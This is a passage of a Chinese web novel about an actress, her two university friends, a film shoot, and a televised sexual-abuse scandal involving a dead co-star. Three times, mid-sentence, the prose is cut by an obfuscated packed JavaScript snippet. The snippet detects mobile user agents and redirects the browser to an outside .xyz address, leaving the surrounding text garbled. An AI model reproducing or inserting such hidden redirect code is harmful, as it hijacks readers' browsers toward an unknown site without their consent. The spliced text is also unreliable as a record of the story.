甚至就连邵聿九死一生的那场车祸也很有可能有这个人的手笔。 虽然她还不知道最后为什么又放过了邵聿,但她放出消息说邵聿仍在昏迷中,就是想尽可能护住邵聿,让背后的那个人能够接收到她的讯息:她知道他的存在,不要对邵聿下手。 “还有一件事”,柯妙妙屏住呼吸,缓慢地吸气呼气,似乎在积攒力量,停顿了许久才沉声说道:“柏霆宇死亡当天,你在VeilMansion的步行梯,究竟看到了什么?” 她已经有一周没有被马政阳传讯了,这个每次传讯都会听到的地点,离开了审讯室冰冷的背景,在温馨的房车内显得怪异又陌生。 八月十二日晚,她还穿着白天庆功宴上的红裙,踩着十二厘米高的高跟鞋,从VeilMansion步行梯的三层,一路向下狂奔,拼了命地跑进地下停车场,一边跑一边向后张望,生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217439|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后有人追赶。恐惧令她的眼底溢出泪水,小腿几近痉挛,脚腕几次脱力歪倒,跌跌撞撞,像一只丧家之犬。 “你是不是看到了七年前的那个男人?” 柯妙妙的一句话让她彻底放弃了抵抗,她抬起眼睛,发现对方的睫毛在细微颤抖。不只是睫毛,当她握住柯妙妙放在桌子上的手,才感受到她掌心彻骨的冰凉。 就像七年前,大学期间最后一个冬天,她失魂落魄地跑回寝室,抱着江知渺嚎啕大哭,将自己这一年来总是夜不归宿的原因全盘托出。 “知渺姐,场务老师说可以准备补妆了。”冉然轻轻敲了敲门,细微的声音从门外飘进来。 “好,我知道了,马上过去。”江知渺抬高音量喊道。 她紧紧地握着柯妙妙的手晃了晃,努力提起一个轻松的微笑,“你放心,没有那么可怕。” 柯妙妙瞪着她,“这话你七年前也跟我说过,结果呢,转头就上了头条,还被封杀,差点毁了你的演员生涯。要是真害你永远拍不了戏,我就要自责一辈子了。” “不怪你,是我主动要替你去的。而且,我当时只是没有心理准备,所以吓傻了,不然我肯定要把眼罩摘下来,好好看看那人是谁。” “别吹牛了,这次你也没好到哪儿去。说吧,看见什么了,把你吓成这样,穿着高跟鞋还能健步如飞的。”柯妙妙又恢复了平日的跳脱,但眼神依旧严肃,没有一丝笑意。 “……知渺姐,场务老师来催了。”冉然再一次提醒她。 江知渺站起身,对着镜子整理自己的发型,从那镜子中,她仿佛能看到身后藏着一团黑影,如影随形,令她不寒而栗。 “世界时。”她没有回头,目光投向镜中柯妙妙的眼睛,“百达翡丽1953年生产的Ref.2523世界时腕表,珐琅表盘,欧洲地图款。” “我在步行梯上听到有人走下来,就通过三层安全出口的推拉门进到了走廊里。推拉门上有一小块玻璃窗,从那个小窗口,我看到其中一个男人戴着这块腕表。” 柯妙妙柳叶般的眼睛瞬间瞪大了,“这块表不是……” “对,七年前,我从迷药的作用里苏醒后,房间里那个男人说可以给我资源,我在挣扎的时候,从眼罩下方的缝隙里,看到他手腕上也戴着这样一块手表。” “这次你看清他是谁了吗?” “没有”,江知渺仔细回忆着当时的画面,“手表是在他们从四楼下来时恰好看到的,门上的玻璃窗太小,等他们靠近推拉门,我担心被发现,就没有探出头去看。一共是三个人,从背影推测年龄大约都在三四十岁。” “柯予希。”太久没有听到自己的本名,柯妙妙愣了一会儿,等到反应过来是在叫她,下意识应声起身,走到江知渺身旁。 “七年前那个男人已经有五六十岁了,你放心。这个人,肯定不是他,应该是巧合。” 她想说的是:你放心,这次我们都会平安无事的。不过她没有说出口,只是深深地看着柯妙妙,她知道她看懂了。 江知渺拍了拍自己的脸,把刚才回忆起来的画面统统甩在脑后,下一秒,就像什么都没发生过一样,恢复了毫无波澜的神色,平静地将门推开。 门外,冉然茫然地望向她,身边的楚妍姝在看到她的一瞬间,眼眸顿时亮了起来。 柯妙妙从她身后探出半个身子,朝楚妍姝伸出手去,朗声问好,“你好,是妍姝吧?我是柯妙妙,咱们刚才通过电话联系过。” 62. 注定 柯妙妙很少到片场来探班,主要是平时拍各种大小艺人明星网红已经受了工伤,看到很多人那张体面的外表,就会联想到他们跟体面毫不沾边的生活,全然没有一点滤镜。 “叙声,你这样,从左侧过来,等静颜往右边躲的时候,你突然往右跨一大步,挡在她面前,然后手记得插在兜里,往下,这样,有点居高临下地看着她……” 看着修导一点一点教吴祐安怎么演戏,再扭头瞧见吴祐安那张木讷的脸,柯妙妙更是工伤发作,恨不得立刻冲上前给他两拳,连带着梁栖月的仇一起报。 她干脆背过身,不去看他,“哎,小冉,之前吴祐安也是这副德性吗?” “啊?什么?”冉然像是受到了很大的惊吓,肩膀剧烈地抖了一下,慌乱地抬起头看向她,“抱歉抱歉,我没有听到,妙姐你说什么?” “没事,就是闲聊天。我说,这吴祐安这么不靠谱,知渺居然没跟他吵?” “怎么可能没吵过!”梁栖月不知从哪儿钻了出来,如数家珍,“平均两周一大吵,三天一小吵,道歉声明我都写好八份了,人家心倒是宽,第二天又跟没事儿人一样,正常上工去了。” 柯妙妙同情地挎住她,“辛苦你了啊,还得向前男友写道歉声明。” 梁栖月白了她一眼,“别哪壶不开提哪壶。无事不登三宝殿,你来做什么?” “我怎么就不能来了?探班一下我的两位好室友好姐妹,感动吗?” “得了吧,哪儿有空手来探班的,一准是知渺又叫你帮忙了吧。”梁栖月恨铁不成钢地瞪着她,“你啊,把她惯得!哪天你们俩惹出麻烦,还得我去帮你们擦屁股。” “经纪人大人,别这么粗俗好嘛?”柯妙妙抱紧了她的手臂,撒娇道:“我能做什么呀,大事还得您来拿主意。” 梁栖月被她古灵精怪的样子逗笑了,伸出手指推了她一下,“行了别贫了,她让你做什么你就去忙吧,这儿有我盯着,他们俩打不起来。” “你们三个关系真好啊——”柯妙妙和梁栖月同时扭过头去,发现正在候场的楚妍姝羡慕地眨着那双大眼睛。 “我们仨是大学室友,认识很多年了。”梁栖月瞬间像是换了一个人,仿佛立刻变成了商务精英,噙着礼貌的微笑,礼貌得体地回应她的感慨。 柯妙妙叹了口气,“唉,这么多年了,凑合过吧。” 说完,梁栖月就在她的手腕上狠狠地掐了一下,柯妙妙一时没忍住,“嗷”的一声叫了起来,引得江知渺也看向她们,露出疑惑的表情。 “真好啊……”楚妍姝自言自语着,眼眸里闪闪发光,看得梁栖月都不好意思起来。 “好,准备——”前方的人群突然开始一阵忙碌,很快便井井有序地回到了自己的位置上。 “三——二——一——开始!” 运动会圆满结束,丛静颜的班级依靠最后一项男子一百米比赛的冠军,以微弱优势获得了高三年级总成绩第一名。 闭幕式结束班里简单庆祝了一番,紧张的高三学习生活中,这样短暂的轻松时刻格外难得,大家也都撒了欢,纷纷互相合影留念。 热闹了一节课,校园里的学生已经走得差不多了,程露露还在拉着同学拍照,丛静颜看了一眼时间,决定先行离开。 空无一人的连廊里,丛静颜只顾着埋头快走,连韩叙声何时出现在面前都不知道,突然的一声“丛静颜”吓得她顿时僵在原地,手足无措地看着他一步一步靠近。 “你躲我?”或许是刚刚参加完激烈的跑步比赛,他的声音愈发低沉暗哑。 “我、我没有……”丛静颜低声回答。 “那你为什么跟那么多同学合照,却偏偏不跟我拍?” 丛静颜以为自己出现了幻听,韩叙声的语气里,似乎有一丝……委屈? 可面对他的指责,丛静颜也觉得冤枉,冲动地回敬道:“那是他们来找我合影,你都没有主动和我说,我怎么知道你也想拍?” 话音刚落,她忽然意识到不对,迈出一大步,想要越过他的身边,跑向学校大门。 韩叙声迅速捕捉到她的意图,也跟着跨出一步,挡在她的面前。丛静颜往左,他就跟着往左,丛静颜往右,他就堵住右边,本就不算宽敞的连廊,竟然被他一个人围得密不透风。 “你到底要干什么?”丛静颜终于忍不了了,她握紧拳头,脸颊涨得通红,气势汹汹地抬头瞪着他。 韩叙声比她高了将近二十厘米,低着头,居高临下地审视着她愤怒的样子,夕阳落在背后,在他的脸上投下一片阴影,让丛静颜无法分辨他的神色。 忽地,从她的头顶传来两声愉悦轻快的笑声,韩叙声紧绷的肩膀松弛下来,前压的上身稍稍退后,那双桃花眼温柔地盯着她的眼睛,深情得快要淌出蜜来。 “怎,怎么了?”丛静颜被他盯得心跳加快,双手下意识捂住心口,就像方才看到他第一个冲过终点线那样。 下一秒,韩叙声不由分说地凑近了,一只手将她的双手拢进掌心,另一只手轻轻搭在她的腰上,手指随着两人逐渐同步的呼吸频率轻轻画圈。 “我懂了”,他低低的笑声穿透了丛静颜的心房,令她全身一颤,“原来需要我主动啊。” “主动……”她一开口就是止不住的颤抖,“主动什么?” “主动——”韩叙声坏心思地停在这里,在她耳畔重重地呼吸了两声,似乎接下来的话非常重要,需要调整好呼吸,做好准备,从静颜的心也跟他提了起来。 “主动成为你的男朋友。” “卡——”修导笑着喊道:“不错不错,进步很大!” 江知渺从冉然手里接过平板,反复检查自己的表演,吴祐安悄然凑过来,“给我也看看,刚这遍我觉得比排练的那几遍都好。” 这倒是第一次见吴祐安在她的面前对自己的演技这么有自信,江知渺把平板推给他,面无表情地点点头,“是有点进步。” 吴祐安猛地抬起头来,难以置信地眨眨眼。不过,江知渺还是给他泼了一盆冷水,她叹了口气,补充道:“但不多。” 修导在一旁乐呵呵地打圆场道:“我看挺有cp感的啊。” “主要还是剧本写得好。”碍于修导的面子,江知渺没有直接反驳,她瞥了一眼吴祐安,感觉他已经完全沉浸在自己的表演里了,一脸沉醉的样子,只能把平板强行拿回来,跟冉然嘱咐道:“一会儿把这段发给你祐安哥,微信我推给你。” 江知渺拿起手机,下意识看了一眼时间:19:08。 她心里一直惦记着邵聿说的八点播出的《对话》,马上要开始拍下一幕,恐怕赶不上直播了,只好把这件事拜托给梁栖月和柯妙妙,让她俩准时收看。 程露露是丛静颜的发小,两家人原就是邻居,从小学、初中一直到高中都是同班同学,关系也比旁人都亲密许多。 与丛静颜闷葫芦似的性格不同,程露露完全是个天不怕地不怕的性子。全校著名的混混韩叙声第一次缠上丛静颜的时候,就是被她打跑的。 她拉着班上每个同学都拍了好多张照片,心满意足地准备回家,发现丛静颜已经不在教室里,于是赶紧跑出去,正巧撞见韩叙声挡在丛静颜的面前,脸凑得很近,还在她耳边说着什么。 “找死吗!”她扔下书包,把袖子一挽,怒气冲冲地直奔这个学校里出了名的混世魔王,不由分说,挥起拳头就往他高挺的鼻梁上招呼—— “别——” “哎呦!” 江知渺眼看着一股拳风从自己的眼前划过,却没能拦住导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241623|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹一般精准的攻击,随着骨头与骨头碰撞发出的一声闷响,韩叙声捂着脸蹲到了地上。 “你还好吗!”她跟着蹲下来,死死地拉着他的手腕,想要查看伤势。 一旁程露露甩甩手,霸气地放出话来:“以后别再让我看见你出现在静颜身旁,见一次我打一次!” “露露!”丛静颜急得泪水在眼眶中晃动,不住地询问韩叙声伤势如何,程露露这才反应过来,自己好像是……打错了? “没事,我没事。”韩叙声咬着牙,满脸痛苦,英气的剑眉都拧在一起,不住地倒吸凉气,却又不敢在喜欢的女生面前暴露自己的软弱。 “走,去医务室。”说着,丛静颜把他的手臂搭在自己肩上,拉着他站起来。 程露露急忙点头,“是啊,我可是跆拳道黑带,你还是去医务室看看吧。” 可韩叙声却抽回了自己的手臂,拉开与她的距离,自己撑着墙,慢慢站起来,右手始终捂在脸上。 “静颜”,他咧着嘴,笑得非常勉强,“再等等我。” 他不说等什么、为什么要等,丛静颜心底一空,只觉得像是沙漏被人戳穿了一个洞,细碎的沙砾散落在沙滩上,再难区分。 “等到什么时候?” 十八岁的丛静颜对时间没有概念,“等待”在她未来漫长的人生长河里,似乎只是轻如鸿毛的两个字,与词典里的无数词组没有任何差别,无需过多思考,毕竟成本几乎为零。 “等我能够自由地站在你身边。” 韩叙声终于不再挡在她的面前,他转过身,背影在即将落幕的夕阳下,显得有几分落寞和孤寂。 直到八年后,丛静颜才真正明白他所说的“等待”是什么意思,她终于意识到,原来他们两人的命运早在十八岁时就已经注定。 “静颜,他刚刚在和你说什么啊?”程露露捡回自己的书包,拉着她往家里走去。 丛静颜抬起头,望向天边的火烧云,“他送给我一场美梦。” “梦?” 其实从韩叙声第一次出现在她的面前,丛静颜的目光就被他的身影吸引了。自信得仿佛环绕着光芒,永远是人群中最耀眼的那一个。 她从来不敢奢望,有一天能触碰到那束炽热的太阳光。 “不过,就算是一场美梦也不错,不是吗?” “好,咔!”修导喊停后,江知渺深深地吸了几口气,让自己从情绪中快速抽离。 她照例来到修导旁边,听他说说自己的意见,然后接过冉然递过来的平板开始查看自己的表现。 “知渺。”梁栖月小声叫她,她低头看了一眼时间,已经是20:51,《对话》应该结束了。 “节目说什么了?”简单的一个问题似乎让梁栖月非常为难,江知渺放下平板,跟着她走到人少的地方,再一次问道:“《对话》,你们看了吗?” 柯妙妙点点头,脸色却凝重得快要结冰,“是现在说,还是等收工再告诉你?” “现在说,到底发生什么事了?” 梁栖月和柯妙妙对视了一眼,最后还是柯妙妙叹了口气,言简意赅地将《对话》的内容说了一遍: “他们请冯炳去访谈,现场播放了何思尔的证词,警方当场将他逮捕。” 江知渺倒吸了一口凉气,她预想过邵聿和李璟意的应对方式,却没想到居然是用这么大胆的方法。 “还有”,柯妙妙难得地欲言又止起来,“那个冯炳说的,他知道圈里很多人比他玩过的女的还多,包括……” 单是听柯妙妙复述冯炳恶心露骨的话,江知渺就忍不住想吐了,突兀的停顿更是让她的心底升起一阵异样的预感。 “包括谁?” “他的原话是:‘那个刚被女人杀了的男明星’。” 63. 澄清 《对话》播出后,迅速在社会上引起轩然大波. 前有艺考女生疑似为拒绝潜规则愤然跳楼,后有“德高望重”的艺大客座教授被公然指认为加害人,一时间网络上流言四起,各种猜测真假难辨. 而“柏霆宇”这个名字,再一次成为了众人关注的焦点。 柏霆宇风流的名声众人皆知,要相信冯炳的指证并不困难。 那些与柏霆宇传出过绯闻的艺人和网红,也都成了“潜规则”的可疑人员。 一夜之间,社交媒体上,澄清自己与柏霆宇关系的声明就有将近十份。 早在《对话》刚结束,网络舆论还没开始发酵时,梁栖月就问过江知渺的意见,但她却告诉她不发声明。 尽管,在所有与柏霆宇有关联的人里,她是最该发这份声明的人。 “你可想好了,你跟他、跟颜洪都有交情,再加上你跟邵聿结婚前那件旧事,现在网上已经有人在说你也有金主了。” 梁栖月苦口婆心地劝道:“我知道你身正不怕影子斜,但这个圈子从来都是自由心证大于事实,你再考虑考虑。” 回到酒店后,梁栖月立刻拉着她开小会,江知渺却一口咬定,“柏霆宇不会做这种事的。” “都什么时候了,你还管他到底做没做?”梁栖月气得一拳打在落地窗上,深吸了一口气。 江知渺轻描淡写地说道:“如果他没做,那就没有什么可澄清的了。” “你怎么知道他没做?” “因为他不是这种人。” “不是这种人?”梁栖月冷笑了一声,“且不说他都结婚了还在圈里接二连三谈那么多小花网红嫩模,就说他对你,江知渺,你别以为我傻,他对你那副轻佻的样子,你还替他说话?” 江知渺扭过头,看着床单上被柯妙妙一进门就趴出来的褶皱,闷闷地说了一句:“我就是知道他不是这种人。” 眼看她俩就要僵住了,柯妙妙赶紧跳出来缓和气氛,她大剌剌地跳坐到两人中间的矮柜上,“哎呀,现在是吵架的时候吗?重要的是赶紧想个平息舆论的办法,来,咱们一起想想,三个臭皮匠赛过诸葛亮嘛。” “我能想到的就是发个声明,说她清清白白,对柏霆宇的私生活一无所知。”梁栖月没好气地把她从矮柜上拽下来。 “但这也是治标不治本嘛,发完声明不还是会有很多人不相信吗?”柯妙妙又趴回江知渺的大床上,托着下巴冥思苦想,“要把知渺摘出去,就得证明柏霆宇没有参与其中……” 偌大的房间陷入一片寂静,柯妙妙在床上翻个身,衣服与被套的摩擦声都显得格外刺耳。正在所有人都一筹莫展的时候,江知渺的手机突然开始震动。 “程薇柔”三个字在屏幕上赫然出现,让她原本已经选择性淡忘的画面再次浮现在眼前。 自从她在安眠药的作用下亲眼看着程薇柔举起料理刀,她们就不曾见过面。 她心安理得地用受害者的身份隔离开来,不想承认在这其中还有着自己的愧疚。 她已经无比清楚地体会到了程薇柔对柏霆宇的爱,而从程薇柔的口中听到“柏霆宇爱着她”这件事,一下子就变成了某种道德上的亏欠,即使非她所愿。 这种时候,程薇柔打来电话,想必也是看到了《对话》引发的舆论。 柯妙妙凑上前来,看到手机屏幕上的名字,惊讶地瞪大了眼睛,“她找你做什么?” 不知道她的目的,那就听听吧。江知渺按下了接通键,打开免提。 铃声戛然而止,电话那头却迟迟没有发出一丝声响,就在她们都以为对方是误触了的时候,程薇柔一贯细微柔和的声音骤然响起,“喂,知渺,你……最近还好吗?” “嗯,挺好的”,江知渺不知道该如何回应她的寒暄,干脆直接切入主题,“你找我,是关于柏霆宇的事吧?” 对面深吸了一口气,“是,我……我想请你帮个忙。” 听到这里,梁栖月三步并作两步跨到她的面前,神情凝重地摇了摇头。 江知渺盯着屏幕上的名字,大概已经猜出程薇柔的用意了:她想为柏霆宇澄清。 作为她的合法妻子,澄清此事自然合理,可若是一个被怀疑与他有婚外情甚至是将他杀死的女人也掺和进来,未免太过诡异。 江知渺在几秒之内就想清楚了这个道理,从理智上讲,她必须拒绝与柏霆宇再产生任何新的关联,可她却鬼使神差地问道:“你希望我怎么帮你?” 话音刚落,梁栖月就呲着牙狠狠地掐了她一下,江知渺双手合十,诚恳地冲她眨了眨眼,这下梁栖月也拿她没办法了,只好坐在一旁,等着程薇柔开口。 “霆宇他……他不会做出那种事的。”程薇柔的声音里多了些哽咽,“他连同学开老师的黄腔都会去阻止,怎么可能会潜规则?” “你有证据吗?” 江知渺冰冷的一句话打断了程薇柔的情绪,她似乎连呼吸都屏住了,过了好久才重重地喘了几口气,难以置信地问道:“知渺,你不相信他吗?” “我的想法并不重要,你要为他澄清,就必须拿出有说服力的证据来。” 或许是她的声音太过冷淡,程薇柔反应了许久,才苦笑道:“没有,我们一年也见不上一次面,平时几乎不怎么联系,我没有证据证明他是无辜的。” 梁栖月眼疾手快地在手机上按了一下,关掉麦克风,郑重其事地站到江知渺面前,双手握住她的肩膀,“我们不帮,知渺,你跟她说,我们也帮不了她。” 江知渺看向柯妙妙,她也没有开口的意思,默许了梁栖月的想法。 的确,没有任何证据,为一个死人辩白,怎么看都是一桩不可能完成的任务,应承下来的后果无法估量,而简单的一句拒绝就可以免去所有麻烦。 但她不合时宜地想起了《凤凰之阿房》杀青当晚,柏霆宇喝得烂醉,跌跌撞撞地敲开了她的房门,还没进门就把她死死地抱住了,像是溺水之人抱住一枝枯木。 她以为柏霆宇又要说些不清不楚的话、做些暧昧过分的举动,下意识推拒。门在他的身后自动关闭,他却没有继续,只是靠着门板,呆呆地望着她,失了神一般。 “你喝醉了。”江知渺举起手指在他面前晃了晃,“我叫你经纪人接你回去。” “别!”柏霆宇很少用这么大的音量说话,或许是醉鬼的听力自动减退,冷不丁把她吓了一跳。 “明天,你就要走了。” 江知渺从他的言语中竟然听出了孩童般的委屈,她失笑道:“又不是再也见不到了,一个月之后我们还要跑宣传。” 柏霆宇重重地摇了摇头,大着舌头,一字一顿地说道:“不一样。” “有什么不一样?” “就是不一样!” 江知渺这才意识到他真的醉得厉害,已经到了没法正常沟通的地步,她扶着柏霆宇坐下来,给他端了一杯温水。刚拿起手机迅速地给他经纪人发了个消息,就又被他喊去,被拉着紧挨着他坐下。 “你觉得,我的演技好吗?”柏霆宇神奇地冒出一句咬字清晰的话语,把她彻底问住了。 跟醉鬼没法讲道理,江知渺想着他经纪人就住在楼下,很快就能把他接走,于是略带敷衍地哄道:“好啊好啊,很好。” “你好好说!”他忽然转过头,充满酒气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241624|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息不算好闻,江知渺皱了下眉头,他就向后退了一下。 没想到这醉鬼脾气还挺大,江知渺知道骗不过去了,真的开始思考起来。 坦白来说,在表演这件事上,无论是对自己还是旁人,江知渺自知她的要求都很高。原先被封杀的那两年里,她还想过考回艺大继续读个研究生,毕业后做个学院派表演老师也不错。 柏霆宇算是她合作过的新生代男演员里演技数一数二的了,台词清晰有力,会揣摩角色心理,还能用各种细节方面的设计展现出来,经常会出现一些有灵性的临场发挥。 最重要的是,他的情绪就好像是一眼源源不断的清泉,只要导演喊下开机,他就能毫无保留又恰到好处地释放出来,与角色合而为一,让人几乎分不清究竟哪个是他、哪个是角色本身。 这也难怪他的剧播出后cp都会爆火,江知渺和他演对手戏时总会想,这样真假难辨的身份与情感,即便是站在他的对面也会有片刻晃神,更何况隔着一层屏幕的观众呢? “很好,你的演技真的很好。”江知渺歪了歪头,“只是体验派劳心伤神,没法长久,你也要多用些表演方面的技巧。” 柏霆宇嘟囔了一句什么,江知渺听得不真切,似乎只是一句抱怨,类似于“我不是体验派”,她也没往心上去。趁他迷迷糊糊闭上眼睛休息,又给他的经纪人发了个消息催促。 “知渺”,他很少这样叫她,江知渺已经习惯了带着坏笑的“姐姐”和故作成熟的“江知渺”,被他用最平常的语气叫出最常听到的称呼,反而觉得有些怪异。 “你知道我最害怕什么吗?”醉了酒,声音都堆在喉咙里,仿佛风被捉进没有出口的密封箱,伸出触手来撞击箱壁,压抑地撞出闷响。 江知渺心底迅速给出几个答案来:真实的家庭背景、接不到好的剧本、失去流量沦为过气艺人…… 然而哪个都不是,她的猜测错得离谱,真正的答案,只是一句“我怕被人看不起”。 这倒是奇怪,江知渺打量起他酒后泛红的脸来,酒气在眼尾晕染出一大片嫣红,在睫毛的细微颤动间,如同桃花枝丫震颤,朝着她风流地伸展而来。 他的口碑说不上好也说不上差,演技没被太多人诟病过,绯闻多却也迎合了他归国富家公子的人设。 讨厌他的观众骂他爱炒作,喜欢他的观众夸他会营业。分明从来没有人说看不起他,他又为何偏偏会害怕旁人的眼光呢? “叩叩叩。”一阵急促的敲门声传来,她放下了这些困惑,起身去开门。 “抱歉抱歉,知渺姐,给您添麻烦了,我这就带他走。”柏霆宇的经纪人比他大不了几岁,平日里带他就像带一个不懂事的弟弟,连连给她鞠了好几个躬。 “没事,你记得跟酒店要点醒酒药,让他吃了好好睡一觉,不然明天头痛。”江知渺帮着他把柏霆宇扛起来,一步一步往门口走去。 柏霆宇原本已经陷入了半睡半醒的梦境里,被这么一折腾,眼神猝然清亮起来,直勾勾地盯着她。在她关门的前一秒,他的嘴角扬起一个不带任何戏谑的笑容。 “知渺,你看得起我,真的太好了。” 直至今日,这句没有上下文的感慨,仍时不时出现在江知渺的梦里。每当她从梦里醒来,都要懊悔很久:那时她为什么没有拉住柏霆宇,问问他这句话是什么意思。 如今他躺在警察厅的太平间里,任凭旁人怎样议论,都没有反驳的能力了。而她也永远得不到那个问题的答案:你为什么最害怕别人看不起你? “我帮你联系媒体,你可以亲口为他澄清。” 江知渺打开声音键,向程薇柔认真地回应道。 64. 援手 复古的指针指向十二,江知渺还是没能下定决心联系邵聿。 方才自作主张说要帮程薇柔,接受了来自经纪人的一顿批评,就连柯妙妙也是一脸不解。 江知渺不敢想象,如果她把这件事告诉邵聿,他会是什么反应。 「睡了吗?」 零点刚过,邵聿发来了微信,忽然亮起的手机屏幕在黑暗中明亮得刺眼,她干脆放弃强行入睡,打开灯,披上一件丝质睡衣,坐到茶桌前。 「还没。」 消息刚一发出去,邵聿的电话就打过来了。 “怎么还没睡?”因为还在病房里,四周一片寂静,邵聿压低了声音。 “睡不着。你呢,怎么也没睡?” “刚和新闻部敲定后续的报道方案。”邵聿没做过多解释,停在这里,“今晚的《对话》,你看了吗?” “嗯,想不到何思尔最后还是同意接受你们的采访了。” “龙晴的事,对她的打击很大。而且我们没有让她露脸,对她的声音做了模糊处理,这样也增加了她的安全感。” “原来这一周你们在忙这个节目。”江知渺不自觉地带上微微的笑意,“效果很好,讨论度也很高。” “还要谢谢你,对外说我在昏迷,也让他们放松了警惕,没有来找何思尔的麻烦。” 邵聿的声线慢慢舒展,如同一首夜曲,她的呼吸也随之平静下来。 关于节目不痛不痒的话题很快就说完了,邵聿绞尽脑汁想要再找些话题,可无论怎样似乎都会触碰到“艺心”相关那些不愉快的回忆。这样静谧的夜晚,他不想就这样破坏掉,尽管还有太多话想问她。 “程薇柔,就是柏霆宇的妻子,刚刚联系我了。” 江知渺说出这句话的时候,邵聿几乎要呐喊了。 他拼命想要躲开这个话题,为什么还是听到“柏霆宇”这个名字从她的口中说出来? “她想为柏霆宇澄清。” 第二次,这是她今晚第二次提到他的名字。邵聿恨不得立刻挂断电话,让计数停在这里。 “你们可不可以对她安排一次采访?她想说的应该与冯炳对柏霆宇的指认有关,也算是这期《对话》的追踪吧?” 第三次,邵聿决定说些什么,阻止她再次说出那个男人的名字。 “后续的调查和节目安排,我们已经确定了。” 他一说完就开始后悔,这句话明显有些生硬,一听就能听出他带着情绪。 “不用专题采访,她想说的并不多,可以加进去吗?” 不、不行、我不愿意。 邵聿只想再生硬一点,用不留情面的话将她回绝,好像自己越绝情,她和柏霆宇之间的关联就越淡。 “你希望我给她这个澄清的机会吗?” 江知渺的预期中,可以或是不可以,都是能够接受的答案,但邵聿抛出的这个问题,却完全在她的意料之外,把她架在了举步维艰的境地。 “那个冯炳,没有拿出任何可信的证据。”江知渺省略了前面的一条条逻辑,她知道这样说,邵聿就能听懂。 因为冯炳本身就毫无道德底线,一个烂人的一句毫无依据的指控,可信度接近于零。 作为面向公众的新闻媒体,国立电视台不能像那些营销号一样,盲目相信他的指控,默认柏霆宇有罪。 邵聿不得不承认,江知渺是最懂他的人,只消一句话就把他推到了不得不同意的地步。 只要他还想客观公正地查清这整个事件的真相,就必须要进行全面的调查,包括听取柏霆宇妻子的澄清。 “如果我们给她一个平台为柏霆宇辩白,最后却发现有证据证明他的确参与其中……” “但在那之前至少也也应该听一听不同的声音。” 你瞧,江知渺是最懂邵聿的人,邵聿心底甚至自嘲起来。 她太懂得怎么用一句话拿捏他的心绪,就像过山车预定的轨道,他坐在狭窄的车厢里,高空之上,除了跟随她的方向,忍受心跳剧烈起伏,没有任何办法。 哪怕有人在电视直播中指控他,哪怕他风流薄情的名声不绝于耳,哪怕自己的丈夫正在调查他的罪证,她都选择帮助柏霆宇。 邵聿不合时宜地想到,如果是我呢? 如果我被千夫所指,臭名昭著,所有人都背弃了我,你会无条件相信我吗?就像程薇柔坚定地为柏霆宇奔走那样? “你怎么知道?”哪怕是徒劳,他也要问明白。就算得到的是一颗毒药,也总好过糊里糊涂地走过这个夜晚,装作无事发生。 江知渺深深地叹了一口气,她好像很无奈、很疲惫,对他的问题没有回答的打算,却还是用长久的沉默积蓄起微弱力量,极缓慢地开口说道:“……你还是带着偏见。” “他在男女关系上的名声的确不算好,可是,利用自身的资源去嫖宿未成年人,这是违法犯罪,和绯闻完全不同。” 她顿了片刻,继续说道:“而且我也不希望因为我和他的绯闻,影响你作为新闻工作者正常的判断力。” “哗——”邵聿听到他们两人之间的电流好像发出了微弱的撕裂声,仔细去听,又好像是小刀将窗户纸划破。 他自以为藏得很好的那些见不得光的秘密,就这样被江知渺随口说出,带着包容和理解,耐心地为他纠正。 可是,怎么可能呢?邵聿感受到强烈的撕扯:我又不是圣人,怎么可能对他毫无芥蒂? 或许在江知渺的眼中,自己的心就像一块透亮的玻璃,任何一缕微弱的阳光都能照亮每一个角落,一丝尘埃也不可能隐藏。 你把我想得太好了。邵聿不由得捂住自己的心脏,那里正在抽痛。 其实我就是一个普通得再普通不过的男人,甚至比普通人还要恶劣一些。 我有极强的占有欲,如果没有受过的那些教育的阻拦,我会拒绝你接任何吻戏,就连肢体接触也会让我的心如受炙烤。 我这样卑劣的人,怎么可能对你和他的绯闻一笑而过? 我以为我可以,在你拼命地乞求各路神仙,求他们保佑我苏醒的时候。 但现在不一样,你在用我以为自己全部占有的信任的一部分,去信任其他人。 那是我的东西,我会不计一切代价地夺回来。 “对不起,是我欠考虑了,你还是按照本来的计划做这个新闻吧,就当我什么都没说。” 她等不及了,邵聿急切地张开口,恨不得用手伸过去拉住她。 “明天我会邀请她来录制的。” 他还是败下阵来,这些隐秘的嫉妒让他永远无法理直气壮地面对她,就像罪犯面对警察,再侥幸的江洋大盗也会担心自己曾经露出马脚。 不过是请柏霆宇的妻子来采访,没有人会知道是江知渺帮她获得了这个机会,除了他。 而他会保守这个秘密,就如同保守从前的一切秘密一样。 “那我把她的联系方式推给你。”电话那头没有道别的意思,江知渺等了一 